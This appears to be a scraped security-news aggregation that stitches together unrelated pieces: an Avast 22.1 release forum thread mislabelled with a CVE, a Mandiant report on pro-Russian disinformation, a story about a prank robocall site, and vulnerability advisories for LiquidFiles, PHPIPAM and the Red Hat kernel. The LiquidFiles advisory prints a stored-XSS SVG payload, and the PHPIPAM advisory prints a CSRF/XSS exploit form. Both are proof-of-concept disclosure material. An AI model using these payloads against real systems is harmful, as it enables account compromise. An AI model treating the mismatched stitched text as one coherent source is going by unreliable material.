An arbitrary file write vulnerability in Avast Premium Security before v21.11.2500 (build 21.11.6809.528) allows attackers to cause a Denial of Service (DoS) via a crafted DLL file.

** Topic: NEW Avast Version 22.1 (January 2022)  (Read 9757 times)**

0 Members and 1 Guest are viewing this topic.

Hi, all. Please welcome the newest version of **Avast AV: 22.1** (22.1.2504)

_Notable improvements in the release:_

*   **Wi-Fi Inspector Password Hints** - Wi-Fi Inspector can now recommend more secure passwords for your home network
*   **Firewall improvements in the UI** - We've re-ordered the Firewall Tabs inside the interface
*   **Boot Time Scan Results** - You'll notice how from now on you get actual results from scans even after reboots

_Some bugfixes we worked on:_

*   Rootkit driver BSOD was fixed
*   User Interface password now works fine, doesn't get removed after update
*   And many more...

The first release of the year! Thank you to our team for the great effort!  
**How to install:**  
1\. Update from your existing Avast version via Settings -> Update -> Update program  
2\. Or you can download and install files:  
_Online installers (recommended):_

*   Free: https://bits.avcdn.net/insttype\_FREE
*   Premium Security: https://bits.avcdn.net/insttype\_APR

_Offline installers:_

*   Free: https://files.avast.com/iavs9x/avast\_free\_antivirus\_setup\_offline.exe
*   Premium Security: https://files.avast.com/iavs9x/avast\_premier\_antivirus\_setup\_offline.exe

(In case the hyperlink here wouldn't work in your browser, just paste and copy the URL to the browser address bar)

« _Last Edit: February 09, 2022, 06:48:17 AM by Karel Šťavík_ »

 Logged

Appreciate mentioning me in the changelog for firewall. I didn't expect that to happen yet my name was there.  I also appreciate devs still care about user input. Still a very rare trait in the software industry, especially from very big companies.

 Logged

Thanks, spreading the news... 

 Logged

Win 8.1 \[x64\] - Avast PremSec 22.5.7216.B \[UI.706\] - Firefox ESR 91.9 \[NS/uBO/PB\] - Thunderbird 91.9.0  
Avast-Tools: Secure Browser 101.0 - Cleanup 22.2 - SecureLine 5.18 - Driver Updater 22.2 - CCleaner 6.0  
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0

Thanks for the new release 

 Logged

**Main:** Win10 Pro 21H2 64bit / Core i5-7400 3.0GHz / 16GB RAM / Avast 22 Premium _**Beta(Icarus)**_ / Comodo Firewall (testing again)  
**Mobile:** Win10 Pro 21H1 64bit / Core i5-3340M 2.7GHz / 8GB RAM / Avast 21 Free / Windows Firewall Control

**Avast の設定について解説しています。**よろしければご覧ください。

Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?

 Logged

> Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?  

Update

 Logged

> > Just checking, version number is "lower" (21.10.2504) than the 21.11 release (21.11.2500) ?  
> 
> Update  

Looks like the "version" should be Avast AV: 22.1 (22.1.6921).

\-dwh

 Logged

> Appreciate mentioning me in the changelog for firewall. I didn't expect that to happen yet my name was there.  I also appreciate devs still care about user input. Still a very rare trait in the software industry, especially from very big companies.  

Avast shows enlightened self-interest and respect by taking note of the obervations of users.  Not to do so shows contempt for users.  To ignore users' views is tantamount to cutting off their own noses to spite their faces.  I wander off the Avast path from time to time.  The experience of that makes me respect Avast all the more.  The little popups are a price well worth paying.

 Logged

Windows 10 Pro x64, Avast Free 22.3.6008, Malwarebytes Anti-Exploit, Malwarebytes Anti-Ransomware

The free version doesn't have a firewall does it?

 Logged

 Logged

> The free version doesn't have a firewall does it?  

On Avast Free Antivirus (not Avast One Essentials), No it isn't, the two products are different.   
Don't I recall you trying Avast One and going back  ?

 Logged

Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.2.6003 (build 22.2.7013.717) UI 1.0.697/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

There's **Avast Free** and then there is  
**Avast One Essential**  
Both a free but different products.

 Logged

> The free version doesn't have a firewall does it?  

Hi, it does (since a few months).

 Logged

Win 8.1 \[x64\] - Avast PremSec 22.5.7216.B \[UI.706\] - Firefox ESR 91.9 \[NS/uBO/PB\] - Thunderbird 91.9.0  
Avast-Tools: Secure Browser 101.0 - Cleanup 22.2 - SecureLine 5.18 - Driver Updater 22.2 - CCleaner 6.0  
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0

> > The free version doesn't have a firewall does it?  
> 
> Hi, it does (since a few months).  

It isn't installed by default, but can be downloaded from the UI (I'm still on version 21.11.xxxx). 

Though I guess from a clean install it would be unless you didn't opt for a custom install.

 Logged

Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.2.6003 (build 22.2.7013.717) UI 1.0.697/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

It's an option that needs to be selected in a custom install  
as explained here: https://youtu.be/IxozZFC9XRk  
You can also select it later by using the option in  
troubleshooting to modify what you've installed.

 Logged

CVE-2022-28964: NEW Avast Version 22.1 (January 2022)

In the three months since the war started, Russian operatives and those allied with the nation's interests have unleashed a deluge of disinformation and fake news to try and sow fear and confusion in Ukraine, security vendor says.

In March, in the middle of Russia's invasion of Ukraine, a video surfaced that showed Ukraine's President Volodymyr Zelensky announcing his country's surrender to the Russian forces. Another story the same month said he had committed suicide in the military bunker in Kyiv where he had been directing his country's fight against Russia, apparently because of Ukrainian military failures.

The video was a sophisticated deepfake of Zelensky generated by artificial intelligence. The story of his suicide was a completely concocted report from a group set up to spread fabricated narratives aligned with Russian interests. Both are examples of what Mandiant on Thursday described as systematic, targeted, and organized cyber-enabled information operations (IO) that has targeted Ukraine's population and audiences in other regions of the world since the war began in February.

Many of the actors behind these campaigns are previously known Russian, Belarusian, and other pro-Russian groups. Their goal is threefold, according to Mandiant: to demoralize Ukrainians; to cause division between the beleaguered nation and its allies; and to foster a positive perception of Russia internationally. Also in the fray are actors from Iran and China that are opportunistically using the war to advance their own anti-US and anti-West narratives.

**Success Hard to Gauge  
**The success of these information operations is hard to gauge given its scope, says Alden Wahlstrom, a senior analyst at Mandiant. "With the Russia-aligned activity, we’ve observed multiple instances in which the Ukrainian government has appeared to rapidly engage with and issue counter-messaging to disinformation narratives promoted by \[information\] operations," he says. But the sheer scale and tempo of operations has made the task challenging, Wahlstrom says. "One concern when looking at this activity in aggregate is that it helps to build an atmosphere of fear and uncertainty among the population in which individuals potentially question the validity of legitimate sources of information."

Mandiant's analysis shows several known groups are behind the information operations activity in Ukraine. Among them is APT28, a threat group that the US government and others have attributed to a unit of the Russian General Staff’s Main Intelligence Directorate (GRU). Mandiant observed members of APT28 using Telegram channels previously associated with the GRU to promote content designed to demoralize Ukrainians and weaken support from allies.

The Belarus-based operator of Ghostwriter, a long-running disinformation campaign in Europe is another actor that is active in Ukraine. In April, Mandiant observed the threat actor using what appeared to be a previously compromised website and likely compromised or threat actor-controlled social media accounts to publish and promote fake content aimed at fomenting distrust between Ukraine and Poland, its ally.

In the weeks leading up the Russia's invasion of Ukraine and in the months since then, Mandiant also observed an information campaign tracked as "Secondary Infektion" targeting audiences in Ukraine with fake narratives about the war. It was Secondary Infektion, for instance, that was responsible for the fake report about Zelensky's suicide. The same group also promoted stories about operatives from Ukraine's Azov Regiment — a unit that Russia has labeled as being comprised of Nazis — apparently seeking vengeance on Zelensky for allegedly letting Ukrainian soldiers die in Mariupol.

The group was often observed using forged documents, pamphlets, screenshots, and other fake source materials to support its fake content.

**False Narratives to Sow Fear and Confusion  
**Mandiant said it observed several other operatives engaged in a wide range of similar information operations in Ukraine often using bot-generated social media accounts and fake personas to promote a variety of Russia-aligned narratives. This has included fake content about growing resentment in Poland over refugees from Ukraine and Polish criminal gangs harvesting organs from Ukrainians fleeing into their country.

Often the information operations have coincided with other disruptive and destructive cyber activity, according to Mandiant. For example, the content about Zelensky's alleged surrender to Russia broke the same time that threat actors hit a Ukrainian organization with a disk-wiping malware tool that was scheduled to execute three hours before a Zelensky speech to the UN.

Wahlstrom says Mandiant has not been able to definitively link the information operations to the concurrent destructive attacks. 

"However, this limited pattern of overlap is worth paying attention to and may suggest that the actors behind the information operations are at least linked to groups with more extensive capabilities," he says. The coordinated attacks also suggest a full spectrum of actors and tactics are being employed in operations targeting Ukraine, Wahlstrom says.

For the most part, the information operations activity in Ukraine that the various groups are engaged in appear consistent with what they have engaged in previously. But one notable evolution is the prominence of dual-purpose information ops, says Sam Riddell, an analyst at Mandiant. "Popular pro-Russian 'hacktivist'  activity and coordinated 'grassroots' campaigns have pursued specific influence objectives while simultaneously attempting to create the impression of broad popular support for the Kremlin," he says.

The conflict in Ukraine has also shown how rapidly information operation assets and infrastructure can be repurposed for the theme of the day, he says. "At the onset of the war, a whole ecosystem of pro-Russian IO assets was able to quickly flip a switch and engage in wartime IO at high volumes," he says. "For defenders, this means that disrupting assets before significant global events break out is paramount."

Mandiant's report coincided with another one from Nisos this week that shed light on a Internet of Things botnet, tracked as "Fronton," that apparently was developed a few years ago at the direction of the Federal Security Service of the Russian Federation (FSB). The botnet's primary purpose, according to Fronton, is to serve as a platform for creating and distributing fake content and disinformation on a global scale. It includes what Nisos described as a Web-based dashboard called SANA for formulating and deploying trending social media events on a mass scale. 

Nisos' report on Fronton is based on a review of documents that were publicly leaked after a hacktivist group called Digital Revolution broke into systems belonging to a subcontractor who developed the botnet for FSB.

Vincas Ciziunas, research principal at Nisos, says there is no evidence of Fronton or SANA being used in the current conflict between Russia and Ukraine. But presumably the FSB has some use for the technology, Ciziunas adds. "We only have demo footage and documentation," he says. But the FSB did appear to create a fake network of Kazakh users on the Russian social media platform V Kontakte, and they did have some fake content related to a squirrel statue in a Kazakhstan city that appears to later have become the basis for a BBC report.

"The conversation related to the statue led to a BBC report," Ciziunas says. "We did not directly identify any of the social media postings mentioned in the BBC article as having been made by the platform."

Pro-Russian Information Operations Escalate in Ukraine War

By Waqas
If you want to prevent Russian officials from performing their government duties, there’s a website that can fulfill…
This is a post from HackRead.com Read the original post: New Robo-Dialing Campaign Lets Users Prank Call Russian Bureaucrats

If you want to prevent Russian officials from performing their government duties, there’s a website that can fulfill your desire.

**What is WasteRussianTime.today?**

A group of hacktivists going by the name of “Obfuscated Dreams of Scheherazade” has created a unique website that allows visitors to make prank calls to two randomly selected Russian officials and waste their time.

If you wonder how this happens, the website has a button. When you click it, it asks for a CAPTCHA test. If you pass it, a robocall is made to any two bureaucrats in Russia.

**Robocall and Prank Calls- A Lethal Combo!**

WasteRussianTime.today combines robocalling and prank calling to create a novel weapon to annoy the Russian state through telephonic conversations. For your information, a robocall is a method to distract individuals, mainly designed to destroy their focus and create a nuisance for the receiver.

Believe it or not, this prank has worked as more than five thousand phone calls have been made thus far, while Gizmodo’s analysis revealed that within 45 minutes, two thousand calls were made. The hacktivists stated that they used publicly leaked data and web scraping to create a database of more than 5,000 Russian government officials’ numbers.

**How does it work?**

When you connect two officials through a dummy call made via WasteRussianTime, it randomly links two Russian intelligence, military, or any other high-ranking officials with a VoIP call.

As a result, they are clueless about who made the call and why but will be forced to waste their time while the website visitor silently listens to the conversation. The site dials 40 phone numbers and merges the caller into a 3-way call.

Homepage of Wasterussiantime.today

As per Shera, a member of the Obfuscated Dreams of Scheherazade, they want to create confusion and annoyance for Russian officials. Their ultimate target is to disturb president Vladimir Putin. Shera stated the calls might contain interesting content for those who speak or understand the Russian language.

> Good morning Ukraine
> 
> 🏴‍☠️ Exchange targetable – the site randomly dials two leaked Russian Governmental, military or intelligence officials – and – streams the call back as they try to figure out why they've called each other … Kudos: #TODS
> 
> (ツ) ⁄ ¯ https://t.co/VVNDPUsNaE 🎯 pic.twitter.com/gOu17pch8V
> 
> — Anonymous (@YourAnonNews) May 19, 2022

**What is the use of this service?**

The site’s database comprises thousands of Russian government employees’ landlines and cell phone numbers, including Russian parliament Duma’s members, the Ministry of War and Economic and Federal Security Service (FSB) officials, media and intelligence employees, mid to high-level administrators as well as high profile politicians. The hacktivists explained visitors can use this service against the ‘warmongering’ Russia and consider it a ‘civil intervention.’

“This is a civil intervention: if you are hanging on the phone, you canʼt drop bombs, you canʼt coordinate soldiers, you canʼt make invasion plans. It brings a bit of chaos to the warmongering of the Russian government. We donʼt want war, ever. We want a peaceful intervention.”

This may not be as huge a blow as dropping bombs but could undoubtedly become a great nuisance for officials in Russia as the phone lines will be clogged with spam calls.

**More Hacktivism News on Hackread.com**

1.  Anonymous affiliates hacked 90% of Russian misconfigured databases
2.  Anonymous sent 7 million texts to Russians and hacked their security cams
3.  Anonymous hacks Russian TV and EV charging station with Ukraine messages
4.  Anonymous hacked Russian TV & streaming services with Ukraine war footage

**_Did you enjoy reading this article? Do like our page on Facebook and follow us on Twitter._**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

New Robo-Dialing Campaign Lets Users Prank Call Russian Bureaucrats

IBM Security Identity Governance and Intelligence 5.2.4, 5.2.5, and 5.2.6 could allow a remote attacker to obtain sensitive information, caused by the failure to properly enable HTTP Strict Transport Security. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques.  IBM X-Force ID:  192429.

CVE-2020-4970: IBM Security Identity Governance and Intelligence information disclosure CVE-2020-4970 Vulnerability Report

LiquidFiles version 3.4.15 suffers from a cross site scripting vulnerability.

=====[ Tempest Security Intelligence - ADV-12/2021  
]==========================

LiquidFiles - 3.4.15

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================  
 * Overview  
 * Detailed description  
 * Timeline of disclosure  
 * Thanks & Acknowledgements  
 * References

=====[ Vulnerability  
Information]=============================================  
 * Class: Improper Neutralization of Input During Web Page Generation  
 ('Cross-site Scripting') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

=====[ Overview]========================================================  
 * System affected : LiquidFiles  
 * Software Version : Version  - 3.4.15  
 * Impacts :  
  * XSS: LiquidFiles 3.4.15 has stored XSS through the "send email"  
functionality when sending a file via email to an administrator. When a  
file has no extension and contains malicious HTML / JavaScript content  
(such as SVG with HTML content), the payload is executed upon a click. This  
is fixed in 3.5.

=====[ Detailed  
description]=================================================

* Stored XSS at [http://localhost:8080/message/new]:

* Steps to reproduce

1 - Create a file without extension, with the content below inside  
```  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "  
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF"  
stroke="#0000FF"/>  
   <script type="text/javascript">  
  alert(1);  
   </script>  
</svg>  
```  
2 - With an external user send an email with that file (without any  
extension) to admin or someone.

3 -  With the admin account go to the menu click on "Data", inside the  
"Data" menu click at "Messages", and select the message that you sent at  
step 2. At the table click on the filename row over your file, the  
javascript code will be executed.

=====[ Timeline of  
disclosure]===============================================

11/Jan/2021 - Responsible disclosure was initiated with the vendor.  
12/Jan/2021 - LiquidFiles Support confirmed the issue;  
18/Fev/2021 - The vendor fixed the vulnerability the second stored XSS's  
06/Apr/2021 - CVEs was assigned and reserved as CVE-2021-30140

=====[ Thanks & Acknowledgements]========================================  
 * Tempest Security Intelligence [5]

=====[ References ]=====================================================

[1][ [  
https://cwe.mitre.org/data/definitions/79.html]|https://cwe.mitre.org/data/definitions/79.html  
]]  
[2][ [https://gist.github.com/rodnt/9f7d368fac38cafa7334598ec94fb167]]  
[3][ [https://www.tempest.com.br|  
https://www.tempest.com.br/]|https://www.tempest.com.br/]

=====[ EOF ]===========================================================  
--

LiquidFiles 3.4.15 Cross Site Scripting

PHPIPAM version 1.4.4 suffers from cross site request forgery and cross site scripting vulnerabilities.

=====[ Tempest Security Intelligence - ADV-03/2022  
]==========================

PHPIPAM - Version 1.4.4

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents ]==================================================

* Overview  
* Detailed description  
* Timeline of disclosure  
* Thanks & Acknowledgements  
* References

=====[ Vulnerability Information  
]=============================================

* Class: Improper Neutralization of Input During Web Page Generation  
('Cross-Site Scripting') [CWE-79]  
* CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

* Class: Cross-Site Request Forgery (CSRF) [CWE-352]  
* CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

=====[ Overview ]========================================================

 * System affected: PHPIPAM - Version 1.4.4  
 * Software Version: Version 1.4.4 (other versions may also be affected).  
 * Impact: PHPIPAM 1.4.4 is vulnerable to Cross-Site Request Forgery (CSRF)  
and Cross-Site Scripting (XSS) via  
app/admin/subnets/find_free_section_subnets.php. An attacker can exploit  
this by injecting javascript code to coerce an admin user into performing  
unintended actions.

=====[ Detailed description  
]=================================================

The html codes below exploit vulnerabilities in the same way due to the  
fact that both forms do not contain CSRF tokens and are vulnerable to XSS  
attacks. Then an attacker can host the forms on their malicious host and  
trick an administrator into visiting your page. If successful, the  
javascript code will execute.

* [app/admin/subnets/find_free_section_subnets.php]

<html>  
  <body>  
    <h1> Exploit PHPIPAM </h1>  
  <script>history.pushState('', '', '/')</script>  
    <form action="  
http://127.0.0.1:8082/app/admin/subnets/find_free_section_subnets.php"  
method="POST">  
      <input type="hidden" name="container" value="body" />  
      <input type="hidden" name="placement" value="top" />  
      <input type="hidden" name="sectionid" value="2'><input  
onpointerleave="alert(1)">rodnt</input><script>alert('incogbyte')</script>"  
/>  
      <input type="hidden" name="original-title" value="Search for free  
subnets in section " />  
      <input type="submit" value="Exploit" />  
    </form>  
  </body>  
</html>

=====[ Timeline of disclosure  
]===============================================

13/Jan/2022 - Responsible disclosure was initiated with the vendor;

14/Jan/2022 - PHPIPAM confirmed the issues;

17/Jan/2022 - The vendor fixed the issues XSS and CSRF;

24/Mar/2022 - CVE reserved as CVE-2021-46426;

25/Mar/2022 - CVE assigned [5].

=====[ Thanks & Acknowledgements ]========================================

* Tempest Security Intelligence [4]

=====[ References ]=====================================================

[1] [  
https://cwe.mitre.org/data/definitions/352.html|https://cwe.mitre.org/data/definitions/352.html  
]

[2] [  
https://cwe.mitre.org/data/definitions/79.html|https://cwe.mitre.org/data/definitions/79.html  
]

[3] [  
https://github.com/phpipam/phpipam/commit/6c1f72816d6ac634e9c174057e008717d959f351|https://github.com/phpipam/phpipam/commit/6c1f72816d6ac634e9c174057e008717d959f351  
]

[4] [https://www.tempest.com.br|https://www.tempest.com.br/]

[5] [  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46426|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46426  
]

[6][ Thanks to Celso (CGB) =)]

=====[ EOF ]===========================================================

--

PHPIPAM 1.4.4 Cross Site Request Forgery / Cross Site Scripting

Red Hat Security Advisory 2022-4642-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. Issues addressed include null pointer and privilege escalation vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: kernel security and bug fix update  
Advisory ID:       RHSA-2022:4642-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4642  
Issue date:        2022-05-18  
CVE Names:         CVE-2022-0492  
====================================================================  
1. Summary:

An update for kernel is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - noarch, x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux ComputeNode (v. 7) - noarch, x86_64  
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - noarch, ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

The kernel packages contain the Linux kernel, the core of any Linux  
operating system.

Security Fix(es):

* kernel: cgroups v1 release_agent feature may allow privilege escalation  
(CVE-2022-0492)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Bug Fix(es):

* kernel panic in mlx5_ib driver RHEL/CentOS 7.9 VM (BZ#2046571)

* [RHEL-7.9] Get Call Trace about "kernel/timer.c:1270  
requeue_timers+0x15e/0x170" on specified AMD x86_64 system (BZ#2048502)

* kernel NULL pointer dereference while calling dma_pool_alloc from the  
mlx5_core module (BZ#2055457)

* Rhel 7.9 NFS Clients takes very long time to resume operations in an NFS  
Server failover scenario (BZ#2066699)

* perf stat shows unsupported counters for Intel IceLake cpu (BZ#2072317)

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

The system must be rebooted for this update to take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2051505 - CVE-2022-0492 kernel: cgroups v1 release_agent feature may allow privilege escalation  
2055457 - kernel NULL pointer dereference while calling dma_pool_alloc from the mlx5_core module [rhel-7.9.z]

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
kernel-3.10.0-1160.66.1.el7.src.rpm

noarch:  
kernel-abi-whitelists-3.10.0-1160.66.1.el7.noarch.rpm  
kernel-doc-3.10.0-1160.66.1.el7.noarch.rpm

x86_64:  
bpftool-3.10.0-1160.66.1.el7.x86_64.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-headers-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source:  
kernel-3.10.0-1160.66.1.el7.src.rpm

noarch:  
kernel-abi-whitelists-3.10.0-1160.66.1.el7.noarch.rpm  
kernel-doc-3.10.0-1160.66.1.el7.noarch.rpm

x86_64:  
bpftool-3.10.0-1160.66.1.el7.x86_64.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-headers-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
kernel-3.10.0-1160.66.1.el7.src.rpm

noarch:  
kernel-abi-whitelists-3.10.0-1160.66.1.el7.noarch.rpm  
kernel-doc-3.10.0-1160.66.1.el7.noarch.rpm

ppc64:  
bpftool-3.10.0-1160.66.1.el7.ppc64.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-bootwrapper-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debug-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debuginfo-common-ppc64-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-devel-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-headers-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-tools-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.ppc64.rpm  
perf-3.10.0-1160.66.1.el7.ppc64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
python-perf-3.10.0-1160.66.1.el7.ppc64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm

ppc64le:  
bpftool-3.10.0-1160.66.1.el7.ppc64le.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-bootwrapper-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debug-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debuginfo-common-ppc64le-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-devel-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-headers-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-tools-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.ppc64le.rpm  
perf-3.10.0-1160.66.1.el7.ppc64le.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
python-perf-3.10.0-1160.66.1.el7.ppc64le.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm

s390x:  
bpftool-3.10.0-1160.66.1.el7.s390x.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-debug-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-debuginfo-common-s390x-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-devel-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-headers-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-kdump-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-kdump-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm  
kernel-kdump-devel-3.10.0-1160.66.1.el7.s390x.rpm  
perf-3.10.0-1160.66.1.el7.s390x.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm  
python-perf-3.10.0-1160.66.1.el7.s390x.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.s390x.rpm

x86_64:  
bpftool-3.10.0-1160.66.1.el7.x86_64.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-3.10.0-1160.66.1.el7.x86_64.rpm  
